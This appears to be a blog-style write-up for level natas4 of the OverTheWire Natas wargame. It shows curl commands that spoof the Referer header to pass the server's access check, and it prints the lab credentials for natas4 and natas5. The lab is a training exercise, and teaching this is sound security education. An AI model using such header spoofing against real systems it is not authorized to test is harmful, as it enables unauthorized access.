curl -u natas4:QryZXc2e0zahULdHrtHxzyYkj59kUxLQ http://natas4.natas.labs.overthewire.org

Body:

<body>
<h1>natas4</h1>
<div id="content">

Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>

The hint is that authorized users should come only from that URL. The server is checking the Referer header. We can send a custom header with cURL using -H. For example:

curl -u user:pass URL -H "referer: URL"

Send the request again with the expected referer:

curl -u natas4:QryZXc2e0zahULdHrtHxzyYkj59kUxLQ http://natas4.natas.labs.overthewire.org -H "referer: http://natas5.natas.labs.overthewire.org/"

<body>
<h1>natas4</h1>
<div id="content">

Access granted. The password for natas5 is 0n35PkggAPm2zbEpOU802c0x0Msn1ToK
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>

Adding the Referer header makes the server treat us as if we came from natas5, so access is granted.

Password for natas5: 0n35PkggAPm2zbEpOU802c0x0Msn1ToK

More levels will be added in future posts.